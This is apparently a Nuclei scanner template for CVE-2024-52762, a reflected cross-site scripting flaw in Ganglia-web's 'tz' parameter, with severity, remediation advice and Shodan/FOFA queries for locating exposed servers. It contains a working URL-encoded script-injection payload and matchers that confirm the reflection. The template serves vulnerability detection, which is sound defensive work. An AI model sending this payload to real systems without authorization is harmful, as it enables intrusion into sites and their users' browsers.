id: CVE-2024-52762

info:
  name: Ganglia Web Interface (v3.7.3 - v3.7.6) - Cross-Site Scripting
  author: DhiyaneshDk,daffainfo
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the tz parameter.
  remediation: |
    Update Ganglia-web to version 3.7.7 or later to address the XSS vulnerability in the timezone parameter.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2024-52762
    cwe-id: CWE-79
    epss-score: 0.00752
    epss-percentile: 0.50146
    cpe: cpe:2.3:a:ganglia:ganglia-web:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: ganglia
    product: ganglia-web
    shodan-query: http.html:"ganglia_form.submit()"
    fofa-query: body="ganglia_form.submit()"
  tags: cve,cve2024,ganglia,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>">'
          - 'ganglia_form.submit()'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402203715f5dbdd8a175d07363ef68b99969c4269212f55275099f81bccde7e001e51022041416c266b25279193f07c05be22fee805589e852921144b0e575218a41f6bb0:922c64590222798bb761d5b6d8e72950